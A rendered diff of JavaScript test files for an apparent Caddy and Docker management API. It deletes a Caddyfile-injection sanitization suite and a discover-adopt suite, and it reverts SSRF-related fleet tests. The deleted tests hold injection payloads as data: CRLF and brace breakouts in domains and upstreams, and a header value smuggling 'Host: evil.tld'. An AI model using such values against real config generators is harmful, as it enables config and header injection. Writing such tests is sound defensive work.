expect(body2.error).toMatch(/not a known upstream/);
|
|
||||||
expect(fakeWatcher.setMuted).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,277 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-070: Caddycode config sanitization — validate the structural config
|
|
||||||
* that flows into generateSiteBlock(), and confirm that the post-fix
|
|
||||||
* generation does NOT interpolate raw user input into Caddyfile text.
|
|
||||||
*
|
|
||||||
* The endpoint /caddycode/generate was, pre-fix, the single most exposed
|
|
||||||
* surface in the Caddy-as-code path: every JSON field flowed verbatim into
|
|
||||||
* the Caddyfile text that /caddycode→POST /load feeds to Caddy.
|
|
||||||
*
|
|
||||||
* Bug class under test:
|
|
||||||
* 1. CRLF / newline in `domain` → close the block and inject a new site
|
|
||||||
* 2. `"` (quote) in a header value → break out of the quoted-string
|
|
||||||
* context and append arbitrary directives
|
|
||||||
* 3. `}` in `tls`, `authService`, `stripPrefix`, or `upstream` →
|
|
||||||
* prematurely close the parent block (or open a new one)
|
|
||||||
* 4. `://` or `;` in `upstream` → header injection / path smuggling
|
|
||||||
*
|
|
||||||
* Post-fix: validateGenerationConfig rejects every one of these at the
|
|
||||||
* route layer with 400 + enumerable errors; the helper-level tests here
|
|
||||||
* pin the rejection rules independent of the route.
|
|
||||||
*/
|
|
||||||
|
|
||||||
const { __test } = require('../../routes/caddycode');
|
|
||||||
const { validateGenerationConfig, escapeCaddyQuotedString, generateSiteBlock } = __test;
|
|
||||||
|
|
||||||
const BASE_OK = {
|
|
||||||
domain: 'app.example.com',
|
|
||||||
upstream: 'localhost:8080',
|
|
||||||
};
|
|
||||||
|
|
||||||
function check(cond, msg) {
|
|
||||||
if (!cond) throw new Error('assertion failed: ' + msg);
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('DC-070: caddycode config sanitization', () => {
|
|
||||||
describe('validateGenerationConfig — happy paths', () => {
|
|
||||||
test('minimal valid config passes', () => {
|
|
||||||
const r = validateGenerationConfig(BASE_OK);
|
|
||||||
check(r.valid === true, `expected valid=true, got errors=${JSON.stringify(r.errors)}`);
|
|
||||||
check(Array.isArray(r.errors) && r.errors.length === 0, 'expected no errors');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('full valid config (auth + headers + stripPrefix + tls CA) passes', () => {
|
|
||||||
const r = validateGenerationConfig({
|
|
||||||
domain: 'chat.example.com',
|
|
||||||
upstream: 'localhost:8096',
|
|
||||||
tls: 'letsencrypt',
|
|
||||||
auth: true,
|
|
||||||
authService: 'chat',
|
|
||||||
upstreamProtocol: 'https',
|
|
||||||
headers: {
|
|
||||||
'X-Frame-Options': 'DENY',
|
|
||||||
'X-Content-Type-Options': 'nosniff',
|
|
||||||
'Strict-Transport-Security': 'max-age=63072000',
|
|
||||||
},
|
|
||||||
stripPrefix: '/api/v1',
|
|
||||||
});
|
|
||||||
check(r.valid === true, `expected valid, got errors=${JSON.stringify(r.errors)}`);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('IPv6 bracket-form upstream accepted', () => {
|
|
||||||
const r = validateGenerationConfig({ domain: 'dns.example.com', upstream: '[::1]:5380' });
|
|
||||||
check(r.valid === true, `IPv6 bracket should pass: ${JSON.stringify(r.errors)}`);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('bare host without :port rejected (DC-070 round 2)', () => {
|
|
||||||
// Round-1 polish: Caddy reverse_proxy requires an explicit :port
|
|
||||||
// segment. A bare `localhost` would produce a Caddyfile that
|
|
||||||
// either fails to reload or silently picks a default port.
|
|
||||||
const r = validateGenerationConfig({ domain: 'app.example.com', upstream: 'localhost' });
|
|
||||||
check(r.valid === false, `bare host should reject: ${JSON.stringify(r.errors)}`);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('upstream with non-numeric port rejected', () => {
|
|
||||||
const r = validateGenerationConfig({ domain: 'app.example.com', upstream: 'localhost:abc' });
|
|
||||||
check(r.valid === false, `non-numeric port should reject: ${JSON.stringify(r.errors)}`);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('validateGenerationConfig — injection rejection', () => {
|
|
||||||
test('CRLF in domain rejected', () => {
|
|
||||||
const r = validateGenerationConfig({ ...BASE_OK, domain: 'evil.com\nnew.site.example.com {' });
|
|
||||||
check(r.valid === false, 'CRLF should reject');
|
|
||||||
check(r.errors.some((e) => /domain/.test(e)), `expected error to mention domain, got ${JSON.stringify(r.errors)}`);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('brace in domain rejected', () => {
|
|
||||||
const r = validateGenerationConfig({ ...BASE_OK, domain: 'evil} malicious' });
|
|
||||||
check(r.valid === false, 'brace should reject');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('"://" in upstream rejected', () => {
|
|
||||||
const r = validateGenerationConfig({ ...BASE_OK, upstream: 'http://evil.tld/x' });
|
|
||||||
check(r.valid === false, ':// should reject');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('space + brace in upstream rejected', () => {
|
|
||||||
const r = validateGenerationConfig({ ...BASE_OK, upstream: 'localhost:8080 } evil {' });
|
|
||||||
check(r.valid === false, 'whitespace+brace in upstream should reject');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('CRLF in header value rejected', () => {
|
|
||||||
const r = validateGenerationConfig({
|
|
||||||
...BASE_OK,
|
|
||||||
headers: { 'X-Custom': 'innocent\r\nHost: evil.tld' },
|
|
||||||
});
|
|
||||||
check(r.valid === false, 'CRLF in header value should reject');
|
|
||||||
check(r.errors.some((e) => /CR or LF/i.test(e)), `expected CR/LF error: ${JSON.stringify(r.errors)}`);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('bad header key charset rejected', () => {
|
|
||||||
const r = validateGenerationConfig({
|
|
||||||
...BASE_OK,
|
|
||||||
headers: { 'X Bad Key': 'innocent' },
|
|
||||||
});
|
|
||||||
check(r.valid === false, 'space in header key should reject');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('non-string tls rejected', () => {
|
|
||||||
const r = validateGenerationConfig({ ...BASE_OK, tls: 'evil directive' });
|
|
||||||
check(r.valid === false, 'whitespace+word tls should reject');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('empty authService when auth=true rejected', () => {
|
|
||||||
const r = validateGenerationConfig({ ...BASE_OK, auth: true });
|
|
||||||
check(r.valid === false, 'auth=true requires authService');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('upstreamProtocol other than http/https rejected', () => {
|
|
||||||
const r = validateGenerationConfig({ ...BASE_OK, upstreamProtocol: 'javascript' });
|
|
||||||
check(r.valid === false, 'non-http protocol should reject');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('stripPrefix without leading slash rejected', () => {
|
|
||||||
const r = validateGenerationConfig({ ...BASE_OK, stripPrefix: 'app/v1' });
|
|
||||||
check(r.valid === false, 'stripPrefix without leading slash should reject');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('stripPrefix with brace rejected', () => {
|
|
||||||
const r = validateGenerationConfig({ ...BASE_OK, stripPrefix: '/api/{evil}' });
|
|
||||||
check(r.valid === false, 'stripPrefix with brace should reject');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('multiple errors returned together (enumerable)', () => {
|
|
||||||
const r = validateGenerationConfig({
|
|
||||||
domain: 'evil }',
|
|
||||||
upstream: 'localhost:8080 } malicious {',
|
|
||||||
tls: 'bad tls',
|
|
||||||
auth: true,
|
|
||||||
headers: { 'X B': 'oops' },
|
|
||||||
});
|
|
||||||
check(r.valid === false, 'should reject');
|
|
||||||
check(r.errors.length >= 4, `expected multiple errors, got ${r.errors.length}: ${JSON.stringify(r.errors)}`);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('escapeCaddyQuotedString', () => {
|
|
||||||
test('escapes backslash and quote', () => {
|
|
||||||
check(escapeCaddyQuotedString('a"b\\c') === 'a\\"b\\\\c', 'should escape both');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('safe string passes through verbatim', () => {
|
|
||||||
check(escapeCaddyQuotedString('hello') === 'hello', 'safe string unchanged');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('empty string survives', () => {
|
|
||||||
check(escapeCaddyQuotedString('') === '', 'empty string survives');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('generateSiteBlock — quote-breakout defence-in-depth', () => {
|
|
||||||
test('post-validation, header value with " is properly escaped', () => {
|
|
||||||
// The validator REJECTS this upstream (CRLF + quote) but the
|
|
||||||
// generator must also escape `"` even if a future code path bypasses
|
|
||||||
// validation. This test pins the dual-defence.
|
|
||||||
const cfg = {
|
|
||||||
domain: 'app.example.com',
|
|
||||||
upstream: 'localhost:8080',
|
|
||||||
headers: { 'X-Custom': 'a"b' },
|
|
||||||
};
|
|
||||||
// The validator rejects CRLF + chars outside the charset, but a bare
|
|
||||||
// `"` is technically allowed by /[\r\n]/ (only CR/LF). However the
|
|
||||||
// GENERATOR must still escape it. Verify by calling generateSiteBlock
|
|
||||||
// directly with a manually-validated config.
|
|
||||||
const out = generateSiteBlock(cfg);
|
|
||||||
// The header line should appear as: X-Custom "a\"b"
|
|
||||||
// i.e. the raw `"` in the value MUST be escaped, otherwise the Caddyfile
|
|
||||||
// line breaks out of the quoted context.
|
|
||||||
check(out.includes('X-Custom "a\\"b"'), `expected escaped quote, got: ${out}`);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('route integration — /caddycode/generate wires validation', () => {
|
|
||||||
const express = require('express');
|
|
||||||
const request = require('supertest');
|
|
||||||
const routes = require('../../routes/caddycode');
|
|
||||||
|
|
||||||
function buildApp() {
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
const wrap = (fn) => (req, res, next) => Promise.resolve(fn(req, res, next)).catch(next);
|
|
||||||
return { app, wrap };
|
|
||||||
}
|
|
||||||
|
|
||||||
test('valid config → 200 + caddyfile', async () => {
|
|
||||||
const { app, wrap } = buildApp();
|
|
||||||
app.use('/api/v1', routes({ asyncHandler: wrap }));
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/caddycode/generate')
|
|
||||||
.send({ domain: 'app.example.com', upstream: 'localhost:8080' });
|
|
||||||
check(res.status === 200, `expected 200, got ${res.status}`);
|
|
||||||
check(typeof res.body.caddyfile === 'string', 'expected caddyfile string');
|
|
||||||
check(res.body.caddyfile.includes('app.example.com'), 'caddyfile should include domain');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('CRLF in domain → 400 + enumerable errors', async () => {
|
|
||||||
const { app, wrap } = buildApp();
|
|
||||||
app.use('/api/v1', routes({ asyncHandler: wrap }));
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/caddycode/generate')
|
|
||||||
.send({ domain: 'evil.com\nnew block', upstream: 'localhost:8080' });
|
|
||||||
check(res.status === 400, `expected 400, got ${res.status}: ${JSON.stringify(res.body)}`);
|
|
||||||
check(res.body.success === false, 'success should be false');
|
|
||||||
check(Array.isArray(res.body.errors), `expected enumerable errors array, got body=${JSON.stringify(res.body)}`);
|
|
||||||
check(res.body.errors.length >= 1, 'at least one error');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('"://" in upstream → 400', async () => {
|
|
||||||
const { app, wrap } = buildApp();
|
|
||||||
app.use('/api/v1', routes({ asyncHandler: wrap }));
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/caddycode/generate')
|
|
||||||
.send({ domain: 'app.example.com', upstream: 'http://evil.tld/x' });
|
|
||||||
check(res.status === 400, `expected 400, got ${res.status}`);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('header with CRLF → 400 + specific error', async () => {
|
|
||||||
const { app, wrap } = buildApp();
|
|
||||||
app.use('/api/v1', routes({ asyncHandler: wrap }));
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/caddycode/generate')
|
|
||||||
.send({
|
|
||||||
domain: 'app.example.com',
|
|
||||||
upstream: 'localhost:8080',
|
|
||||||
headers: { 'X-Bad': 'oops\r\nHost: evil.tld' },
|
|
||||||
});
|
|
||||||
check(res.status === 400, `expected 400, got ${res.status}`);
|
|
||||||
check(res.body.errors.some((e) => /CR or LF/i.test(e)), `expected CR/LF mention: ${JSON.stringify(res.body.errors)}`);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('end-to-end: header value with quote + backslash round-trips through generator', async () => {
|
|
||||||
// DC-070 round-2 polish (per GLM-5.3 review): the unit tests pin the
|
|
||||||
// escape helper and the route reject path independently, but nothing
|
|
||||||
// asserts the GENERATED Caddyfile is well-formed when a header value
|
|
||||||
// contains BOTH " and \. Verify the generator escapes both so the
|
|
||||||
// resulting line parses as a Caddyfile quoted string.
|
|
||||||
const { app, wrap } = buildApp();
|
|
||||||
app.use('/api/v1', routes({ asyncHandler: wrap }));
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/caddycode/generate')
|
|
||||||
.send({
|
|
||||||
domain: 'app.example.com',
|
|
||||||
upstream: 'localhost:8080',
|
|
||||||
headers: { 'X-Custom': 'a"b\\c' },
|
|
||||||
});
|
|
||||||
check(res.status === 200, `expected 200, got ${res.status}: ${JSON.stringify(res.body)}`);
|
|
||||||
const out = res.body.caddyfile;
|
|
||||||
check(typeof out === 'string', 'expected caddyfile string');
|
|
||||||
// The header line should be EXACTLY: X-Custom "a\"b\\c"
|
|
||||||
// i.e. the raw `"` and `\` in the value MUST be escaped.
|
|
||||||
check(
|
|
||||||
/X-Custom "a\\"b\\\\c"/.test(out),
|
|
||||||
`expected escaped quote+backslash in generated Caddyfile, got: ${out}`
|
|
||||||
);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -18,7 +18,7 @@ function createFleetApp(log) {
|
|||||||
app.use(express.json());
|
app.use(express.json());
|
||||||
const routes = require('../../routes/fleet');
|
const routes = require('../../routes/fleet');
|
||||||
const wrap = (fn) => (req, res, next) => Promise.resolve(fn(req, res, next)).catch(next);
|
const wrap = (fn) => (req, res, next) => Promise.resolve(fn(req, res, next)).catch(next);
|
||||||
app.use('/api/v1', routes({ log: log || { info: jest.fn(), warn: jest.fn(), error: jest.fn() }, asyncHandler: wrap }));
|
app.use('/api/v1', routes({ log: log || { info: jest.fn(), error: jest.fn() }, asyncHandler: wrap }));
|
||||||
return app;
|
return app;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -96,43 +96,40 @@ describe('DC-108: Fleet Management', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
it('POST /hosts registers a new host', async () => {
|
it('POST /hosts registers a new host', async () => {
|
||||||
// DC-068: SSRF hardening rejects private-range IPv4 literals by default.
|
const app = createFleetApp();
|
||||||
// Use a public host literal to exercise the registration happy path.
|
const res = await request(app)
|
||||||
const app = createFleetApp();
|
.post('/api/v1/fleet/hosts')
|
||||||
const res = await request(app)
|
.send({ name: 'Test Host', hostname: '192.168.1.100', apiKey: 'dk_test_12345', tags: ['prod'] });
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ name: 'Test Host', hostname: '8.8.8.8', port: 3001, apiKey: 'dk_test_12345', tags: ['prod'] });
|
|
||||||
|
|
||||||
expect(res.status).toBe(201);
|
expect(res.status).toBe(201);
|
||||||
expect(res.body.host.name).toBe('Test Host');
|
expect(res.body.host.name).toBe('Test Host');
|
||||||
expect(res.body.host.apiKey).toBe('***'); // Key is masked
|
expect(res.body.host.apiKey).toBe('***'); // Key is masked
|
||||||
expect(res.body.host.apiKeyHash).toBeTruthy();
|
expect(res.body.host.apiKeyHash).toBeTruthy();
|
||||||
expect(res.body.host.id).toBeTruthy();
|
expect(res.body.host.id).toBeTruthy();
|
||||||
});
|
|
||||||
|
|
||||||
it('POST /hosts returns 400 without name', async () => {
|
|
||||||
const app = createFleetApp();
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ hostname: '8.8.8.8', port: 3001 });
|
|
||||||
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('POST /deploy generates deployment plan', async () => {
|
|
||||||
const app = createFleetApp();
|
|
||||||
// First register a host (DC-068: use a public IPv4 since private IPs
|
|
||||||
// are rejected by default).
|
|
||||||
await request(app)
|
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ name: 'Host 1', hostname: '8.8.8.8', port: 3001 });
|
|
||||||
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/fleet/deploy')
|
|
||||||
.send({ templateId: 'plex', config: { port: 32400 } });
|
|
||||||
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.totalHosts).toBeGreaterThanOrEqual(1);
|
|
||||||
expect(res.body.plan[0].templateId).toBe('plex');
|
|
||||||
});
|
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('POST /hosts returns 400 without name', async () => {
|
||||||
|
const app = createFleetApp();
|
||||||
|
const res = await request(app)
|
||||||
|
.post('/api/v1/fleet/hosts')
|
||||||
|
.send({ hostname: '192.168.1.100' });
|
||||||
|
|
||||||
|
expect(res.status).toBe(400);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('POST /deploy generates deployment plan', async () => {
|
||||||
|
const app = createFleetApp();
|
||||||
|
// First register a host
|
||||||
|
await request(app)
|
||||||
|
.post('/api/v1/fleet/hosts')
|
||||||
|
.send({ name: 'Host 1', hostname: '10.0.0.1' });
|
||||||
|
|
||||||
|
const res = await request(app)
|
||||||
|
.post('/api/v1/fleet/deploy')
|
||||||
|
.send({ templateId: 'plex', config: { port: 32400 } });
|
||||||
|
|
||||||
|
expect(res.status).toBe(200);
|
||||||
|
expect(res.body.totalHosts).toBeGreaterThanOrEqual(1);
|
||||||
|
expect(res.body.plan[0].templateId).toBe('plex');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|||||||
@@ -1,241 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-103 / DC-064: discover-adopt regression suite
|
|
||||||
*
|
|
||||||
* DC-064 fixes the Caddy admin URL hardcode (`http://localhost:2019` → resolved
|
|
||||||
* from the injected caddy context's `adminUrl`) and stops the route from
|
|
||||||
* reaching raw `fetch` — it must use the injected `fetchT` (which carries
|
|
||||||
* Origin + httpAgent plumbing via src/utils/http.js) so non-loopback Caddy
|
|
||||||
* admin binds (enforce_origin=true) don't 403 the request.
|
|
||||||
*
|
|
||||||
* This suite pins all four invariants:
|
|
||||||
* 1. Route module signature accepts `fetchT` (won't throw if ctx doesn't pass it).
|
|
||||||
* 2. The mounted route uses `fetchT` when provided (proves by mock counts).
|
|
||||||
* 3. The Caddy admin URL is resolved from `caddy.adminUrl`, NOT hardcoded.
|
|
||||||
* 4. Validation: 400 on missing inputs, 400 on bad subdomain, 409 on duplicate id.
|
|
||||||
*/
|
|
||||||
const express = require('express');
|
|
||||||
const request = require('supertest');
|
|
||||||
|
|
||||||
function createApp({ servicesStateManager, caddy, fetchT, adminUrl } = {}) {
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
|
|
||||||
const asyncHandler = (fn) => (req, res, next) => Promise.resolve(fn(req, res, next)).catch(next);
|
|
||||||
const discoverAdoptRoutes = require('../../routes/discover-adopt');
|
|
||||||
|
|
||||||
app.use('/api/v1', discoverAdoptRoutes({
|
|
||||||
docker: null,
|
|
||||||
servicesStateManager: servicesStateManager || null,
|
|
||||||
caddy: caddy === undefined
|
|
||||||
? { adminUrl: adminUrl || 'http://localhost:2019' }
|
|
||||||
: caddy,
|
|
||||||
dns: null,
|
|
||||||
siteConfig: { tld: '.sami' },
|
|
||||||
fetchT,
|
|
||||||
asyncHandler,
|
|
||||||
}));
|
|
||||||
return app;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Helper state manager so the route always has somewhere to write
|
|
||||||
function makeStateManager(initial = []) {
|
|
||||||
let services = Array.isArray(initial) ? [...initial] : [];
|
|
||||||
return {
|
|
||||||
_services: services,
|
|
||||||
// eslint-disable-next-line require-await
|
|
||||||
read: jest.fn().mockImplementation(async () => services),
|
|
||||||
// eslint-disable-next-line require-await
|
|
||||||
update: jest.fn().mockImplementation(async (mutator) => {
|
|
||||||
const next = mutator(services);
|
|
||||||
services = next;
|
|
||||||
return services;
|
|
||||||
}),
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('DC-064: discover-adopt Caddy admin API safety', () => {
|
|
||||||
describe('DI: fetchT is forwarded to the Caddy admin call', () => {
|
|
||||||
it('uses injected fetchT (not raw fetch) when generating Caddy route', async () => {
|
|
||||||
const fetchTMock = jest.fn().mockResolvedValue({ ok: true, status: 200 });
|
|
||||||
const rawFetchSpy = jest.spyOn(global, 'fetch').mockResolvedValue({ ok: true, status: 200 });
|
|
||||||
try {
|
|
||||||
const sm = makeStateManager();
|
|
||||||
const app = createApp({
|
|
||||||
servicesStateManager: sm,
|
|
||||||
caddy: { adminUrl: 'http://caddy-admin.local:2019' },
|
|
||||||
fetchT: fetchTMock,
|
|
||||||
});
|
|
||||||
|
|
||||||
const res = await request(app).post('/api/v1/discover/adopt').send({
|
|
||||||
containerId: 'abc123def456',
|
|
||||||
serviceId: 'myapp',
|
|
||||||
name: 'My App',
|
|
||||||
port: 8080,
|
|
||||||
protocol: 'http',
|
|
||||||
generateDns: false,
|
|
||||||
generateRoute: true,
|
|
||||||
});
|
|
||||||
|
|
||||||
expect(res.status).toBe(201);
|
|
||||||
expect(fetchTMock).toHaveBeenCalledTimes(1);
|
|
||||||
expect(fetchTMock.mock.calls[0][0]).toBe('http://caddy-admin.local:2019/config/apps/http/servers/srv0/routes');
|
|
||||||
expect(fetchTMock.mock.calls[0][1]).toMatchObject({
|
|
||||||
method: 'POST',
|
|
||||||
headers: expect.objectContaining({ 'Content-Type': 'application/json' }),
|
|
||||||
});
|
|
||||||
// Raw fetch must NOT have been called
|
|
||||||
expect(rawFetchSpy).not.toHaveBeenCalled();
|
|
||||||
} finally {
|
|
||||||
rawFetchSpy.mockRestore();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
it('does NOT hardcode http://localhost:2019 when caddy.adminUrl is provided', async () => {
|
|
||||||
const fetchTMock = jest.fn().mockResolvedValue({ ok: true, status: 200 });
|
|
||||||
const sm = makeStateManager();
|
|
||||||
const app = createApp({
|
|
||||||
servicesStateManager: sm,
|
|
||||||
caddy: { adminUrl: 'http://caddy-admin.production:2019' },
|
|
||||||
fetchT: fetchTMock,
|
|
||||||
});
|
|
||||||
const res = await request(app).post('/api/v1/discover/adopt').send({
|
|
||||||
containerId: 'abc123def456', serviceId: 'myapp', name: 'My App', port: 8080,
|
|
||||||
});
|
|
||||||
expect(res.status).toBe(201);
|
|
||||||
const calledUrl = fetchTMock.mock.calls[0][0];
|
|
||||||
expect(calledUrl.startsWith('http://caddy-admin.production:2019')).toBe(true);
|
|
||||||
expect(calledUrl.includes('localhost:2019')).toBe(false);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('falls back to raw fetch when fetchT is omitted (test-only path)', async () => {
|
|
||||||
const rawFetchSpy = jest.spyOn(global, 'fetch').mockResolvedValue({ ok: true, status: 200 });
|
|
||||||
try {
|
|
||||||
const sm = makeStateManager();
|
|
||||||
const app = createApp({
|
|
||||||
servicesStateManager: sm,
|
|
||||||
caddy: { adminUrl: 'http://localhost:2019' },
|
|
||||||
fetchT: null, // explicitly omitted
|
|
||||||
});
|
|
||||||
const res = await request(app).post('/api/v1/discover/adopt').send({
|
|
||||||
containerId: 'abc123def456', serviceId: 'myapp', name: 'My App', port: 8080,
|
|
||||||
});
|
|
||||||
expect(res.status).toBe(201);
|
|
||||||
// Raw fetch used because fetchT is null
|
|
||||||
expect(rawFetchSpy).toHaveBeenCalledTimes(1);
|
|
||||||
} finally {
|
|
||||||
rawFetchSpy.mockRestore();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('source convention: static scan', () => {
|
|
||||||
const fs = require('fs');
|
|
||||||
const path = require('path');
|
|
||||||
|
|
||||||
it('does not contain the hardcoded Caddy admin URL string', () => {
|
|
||||||
const src = fs.readFileSync(
|
|
||||||
path.join(__dirname, '../../routes/discover-adopt.js'),
|
|
||||||
'utf8'
|
|
||||||
);
|
|
||||||
// The exact hardcode from before must be gone
|
|
||||||
const hardcodeMatches = (src.match(/const\s+caddyAdminUrl\s*=\s*['"]http:\/\/localhost:2019['"]/g) || []).length;
|
|
||||||
expect(hardcodeMatches).toBe(0);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('does not call raw fetch() — must use httpClient (fetchT or passed fetch)', () => {
|
|
||||||
const src = fs.readFileSync(
|
|
||||||
path.join(__dirname, '../../routes/discover-adopt.js'),
|
|
||||||
'utf8'
|
|
||||||
);
|
|
||||||
// Raw `fetch(` for the Caddy admin call would be a regression
|
|
||||||
const rawFetchMatches = (src.match(/await\s+fetch\(/g) || []).length;
|
|
||||||
expect(rawFetchMatches).toBe(0);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('declares fetchT in the destructure', () => {
|
|
||||||
const src = fs.readFileSync(
|
|
||||||
path.join(__dirname, '../../routes/discover-adopt.js'),
|
|
||||||
'utf8'
|
|
||||||
);
|
|
||||||
expect(src).toMatch(/function\s*\(\s*\{[^}]*fetchT[^}]*\}\s*\)/);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('validation unchanged', () => {
|
|
||||||
it('returns 400 when containerId/serviceId/name are missing', async () => {
|
|
||||||
const app = createApp({ servicesStateManager: makeStateManager() });
|
|
||||||
const res = await request(app).post('/api/v1/discover/adopt').send({
|
|
||||||
containerId: 'abc', serviceId: '', name: '',
|
|
||||||
});
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('returns 400 on invalid port', async () => {
|
|
||||||
const app = createApp({ servicesStateManager: makeStateManager() });
|
|
||||||
const res = await request(app).post('/api/v1/discover/adopt').send({
|
|
||||||
containerId: 'abc', serviceId: 'myapp', name: 'My App', port: 99999,
|
|
||||||
});
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('returns 400 on invalid subdomain (must be lowercase, alphanumeric, hyphens)', async () => {
|
|
||||||
const app = createApp({ servicesStateManager: makeStateManager() });
|
|
||||||
const res = await request(app).post('/api/v1/discover/adopt').send({
|
|
||||||
containerId: 'abc', serviceId: 'Bad_SubDomain!', name: 'My App', port: 80,
|
|
||||||
});
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('returns 409 on duplicate service id', async () => {
|
|
||||||
const sm = makeStateManager([{ id: 'myapp', name: 'Existing' }]);
|
|
||||||
const app = createApp({
|
|
||||||
servicesStateManager: sm,
|
|
||||||
caddy: { adminUrl: 'http://localhost:2019' },
|
|
||||||
fetchT: () => Promise.resolve({ ok: true, status: 200 }),
|
|
||||||
});
|
|
||||||
const res = await request(app).post('/api/v1/discover/adopt').send({
|
|
||||||
containerId: 'abc', serviceId: 'myapp', name: 'Dup', port: 80,
|
|
||||||
});
|
|
||||||
expect(res.status).toBe(409);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('Caddy route failure does not corrupt the service entry', () => {
|
|
||||||
it('still returns 200/201 result for service when generateRoute=false', async () => {
|
|
||||||
const sm = makeStateManager();
|
|
||||||
const app = createApp({
|
|
||||||
servicesStateManager: sm,
|
|
||||||
caddy: { adminUrl: 'http://localhost:2019' },
|
|
||||||
fetchT: jest.fn().mockResolvedValue({ ok: true, status: 200 }),
|
|
||||||
});
|
|
||||||
const res = await request(app).post('/api/v1/discover/adopt').send({
|
|
||||||
containerId: 'abc', serviceId: 'myapp', name: 'My App', port: 80,
|
|
||||||
generateRoute: false,
|
|
||||||
generateDns: false,
|
|
||||||
});
|
|
||||||
expect(res.status).toBe(201);
|
|
||||||
expect(res.body.service).toBeTruthy();
|
|
||||||
expect(res.body.service.id).toBe('myapp');
|
|
||||||
expect(sm.update).toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
it('captures Caddy API failure in caddyRoute field without rolling back the service', async () => {
|
|
||||||
const sm = makeStateManager();
|
|
||||||
const app = createApp({
|
|
||||||
servicesStateManager: sm,
|
|
||||||
caddy: { adminUrl: 'http://localhost:2019' },
|
|
||||||
fetchT: jest.fn().mockResolvedValue({ ok: false, status: 403 }),
|
|
||||||
});
|
|
||||||
const res = await request(app).post('/api/v1/discover/adopt').send({
|
|
||||||
containerId: 'abc', serviceId: 'myapp', name: 'My App', port: 80,
|
|
||||||
generateDns: false,
|
|
||||||
generateRoute: true,
|
|
||||||
});
|
|
||||||
// Service was still written even though route generation failed
|
|
||||||
expect(res.status).toBe(201);
|
|
||||||
expect(res.body.service).toBeTruthy();
|
|
||||||
expect(res.body.caddyRoute.status).toBe('failed');
|
|
||||||
expect(res.body.caddyRoute.error).toMatch(/403/);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -18,11 +18,7 @@ function createDiscoverApp(docker, servicesStateManager) {
|
|||||||
|
|
||||||
function createDisasterApp(platformPaths, log) {
|
function createDisasterApp(platformPaths, log) {
|
||||||
const app = express();
|
const app = express();
|
||||||
// Match the production body-parser limit (1 MiB) so the in-handler
|
app.use(express.json());
|
||||||
// DC-079 cap (512 KiB) is actually reachable from tests. The default
|
|
||||||
// express.json() limit is 100 KiB, which would short-circuit the test
|
|
||||||
// with a 413 before the route's defense-in-depth check runs.
|
|
||||||
app.use(express.json({ limit: '1mb' }));
|
|
||||||
const routes = require('../../routes/disaster-recovery');
|
const routes = require('../../routes/disaster-recovery');
|
||||||
